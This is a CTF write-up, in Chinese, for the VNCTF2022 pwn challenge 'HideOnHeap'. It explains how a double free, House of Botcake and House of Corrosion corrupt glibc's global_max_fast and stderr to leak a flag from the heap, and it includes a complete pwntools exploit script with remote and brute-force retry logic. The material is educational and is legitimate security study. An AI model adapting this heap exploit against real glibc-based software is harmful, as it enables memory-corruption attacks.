MENU

VNCTF2022 HideOnHeap Writeup

February 15, 2022 • Read: 266 • Pwn,CTF

HideOnHeap

1.构造出堆重叠

题目白给了一个 double free 的机会,但是由于 free 中清空了 size 数组,所以无法在 free 之后修改堆块。这里考虑用 House of botcake 的方法来构造出堆重叠可以 UAF,简单的说就是让堆块同时存在于 Unsorted Bin 和 Tcache 中,这样申请取回时可以申请到两个相同地址的堆块。

2.泄露 Flag

题目中没有 show 函数,大家可能会想到用 IO leak,但是在本题中,也同样不存在 IO leak 所需的 IO 函数。

所幸的是,在题目初始化的环节中,已经把 flag 的内容读入到了堆中,那么我们所需要的就是泄露这个堆块上的内容。

这个泄露的方法有很多,我考虑的是利用 __malloc_assert 中的 __fxprintf ,这个函数是一个 IO 函数,并且进入内部发现在第一个参数传参为 NULL 时,会变化成 stderr,所以可以想到利用 伪造 stderr 结构来泄露堆块上的数据。

但是我无法泄露堆空间的指针,就算是我通过爆破 1/16 能够申请到 stderr 空间,我也没有办法往里面写入堆空间地址。

这里又可以考虑使用 House of Corrosion,可以参考我的这篇文章 House of Corrosion 原理及应用

我们可以用 House of Corrosion 来打 stderr,并且同时设置_flags、_IO_write_base、_IO_write_ptr、_IO_write_end 这四个位置写堆地址。

  1. 其中最需要注意的就是 _flags 的内容,由于写入的堆块地址可控的只有末三位,但是如果要通过 stdout 来 leak,需要在_flags 要求满足以下三个条件,其中条件 1 和 2 都可以通过构造来解决,而条件 3 只能通过堆地址的随机化来碰撞。

    _flags & _IO_MAGIC(0xFBAD0000) != 0 
    _flags & _IO_CURRENTLY_PUTTING(0x800)  != 0
    _flags & _IO_IS_APPENDING(0x1000) != 0
  2. 在满足了_flags 的条件后,然后再调用能用到 IO 的函数,就可以泄露堆块上 _IO_write_base 至 _IO_write_ptr 这一段,所以至少需要两个不同位置的堆块来写入,这部分区间的内容上如果恰好有 libc 地址则即可实现泄露 libc。
  3. 本方法的可行性主要在于这几个需要覆盖的地址都在 fastbinsY 之后,而且我们溢出过程中需要计算 SIZE 的关键变量是两个 libc 地址的差值 delta,在这个求差的过程中就把 libc 地址的随机化给抵消了,使得我们无需 leak 也可以做到写入多个地址。
  4. 这个攻击的思路目前应该还没有师傅提出过,这里的堆地址随机化爆破概率乘上利用部分覆盖爆破打 global_max_fast 的概率,应该是 1 / 32,实用性很强。

不过在本题中,由于是给 VNCTF2022 出题,所以我降低了难度,允许操作堆块实现任意申请,并且把申请堆块的数量限制放的很宽松,希望大家把更多心思放在泄露思路上。在这样的情况下,直接申请到 stderr 那部分的内容修改 flags,并部分覆盖 _IO_write_base 即可。需要注意的是,由于往 stderr 写入的堆块地址在储存 flag 地址的下面,为了避免堆空间的 1/16 爆破,最好让操作的堆块地址与写入 flag 的堆块地址相邻(不超过 0x100 字节),使得只需覆盖末尾字节即可。

3.EXP

经过一些思考,没能想到本题中的非预期,如果存在能够 getshell 的打法,希望可以联系我一起交流学习~

# encoding: utf-8
from pwn import *

elf = None
libc = None
file_name = "./HideOnHeap"


# context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    if context.binary == None:
        context.binary = dic + file_name
    assert isinstance(context.binary, ELF)
    libc = None
    for lib in context.binary.libs:
        if '/libc.' in lib or '/libc-' in lib:
            libc = ELF(lib, checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], int(sys.argv[2]), sys.argv[4])
            return s.process([file_name])
        else:
            if ":" in sys.argv[1]:
                r = sys.argv[1].split(':')
                return remote(r[0], int(r[1]))
            return remote(sys.argv[1], int(sys.argv[2]))
    else:
        return process([file_name])


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        if info == None:
            info = 'libc_base:\t'
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    try:
        sh.recvrepeat(0.1)
        sh.sendline('cat flag')
        return sh.recvrepeat(0.3)
    except EOFError:
        return ""


def get_gdb(sh, addr=None, gdbscript=None, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript)
    elif addr is not None:
        gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
    else:
        gdb.attach(sh)
    if stop:
        pause()


def Attack(target=None, elf=None, libc=None):
    global sh
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 32:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            sh.close()
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag


def choice(idx):
    sh.sendlineafter("Choice:", str(idx))


def add(size):
    choice(1)
    sh.sendlineafter("Size:", str(size))


def edit(idx, content):
    choice(2)
    sh.sendlineafter("Index:", str(idx))
    sh.sendafter("Content:", str(content))


def delete(idx):
    choice(3)
    sh.sendlineafter("Index:", str(idx))


def pwn(sh, elf, libc):
    context.log_level = "debug"
    add(0x88)  # prev 0
    add(0x88)  # 1
    for i in range(7):
        add(0x88) #2 - 8

    add(0x3F0)  # 9
    add(0x3F0)  # 10

    for i in range(7):
        add(0x3F0) #11 - 17

    edit(2, '6' * 0x20 + '\x00' * 8 + p64(0x21))
    edit(13, '5' * 0x30 + '\x00' * 8 + p64(0x21) + '\x00' * 0x8 + p64(0x21) + '\x00' * 0x8 + p64(0x21))

    for i in range(2, 9):
        delete(i)
    delete(1)
    delete(0)
    add(0x88) #0
    delete(1)
    for i in range(7):
        add(0x88) #1 - 7
    add(0x118) #8 overlapping 1

    for i in range(11, 18):
        delete(i)
    delete(10)
    delete(9)
    add(0x3F0) #9
    delete(10)

    for i in range(7):
        add(0x3F0) #10-16
    add(0x3F0) #17
    add(0x3F0) #18 == 10

    for i in range(7):
         delete(1)
         edit(8, '\x00' * 0x88 + p64(0x91) + '\x00' * 0x10)

    for i in range(7):
         delete(10)
         edit(18, '\x00' * 0x10)

    delete(1)
    delete(10)

    add(0x58)  #1
    add(0x18) #10
    add(0x3D8) #19
    add(0x18) #20

    edit(8, '\x00' * 0x88 + p64(0x91) + '\x80\xdb')
    add(0x88)  # 21
    add(0x88)  # 22 global_max_fast

    edit(18, '\xc0\xb5')
    add(0x3F0)  # 23
    add(0x3F0)  # 24 stderr

    edit(22, '\xFF' * 8)  # change global_max_fast
    edit(8, '\x00' * 0x88 + p64(0x14C1))
    delete(21)
    edit(8, '\x00' * 0x88 + p64(0x14D1))
    delete(21)
    edit(8, '\x00' * 0x88 + p64(0x14E1))
    delete(21)

    #change main_arena->top
    for i in range(8):
        edit(8, '\x00' * 0x88 + p64(0xC1) + '\x00' * 0x10)
        delete(21)

    edit(24, p64(0xfbad1800) + '\x00' * 0x19)
    edit(22, p64(0x80))
    #gdb.attach(sh)
    add(0x300)
    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(elf=get_file(), libc=get_libc())
    sh.close()
    if flag != "":
        log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
Archives QR Code
QR Code for this page
Tipping QR Code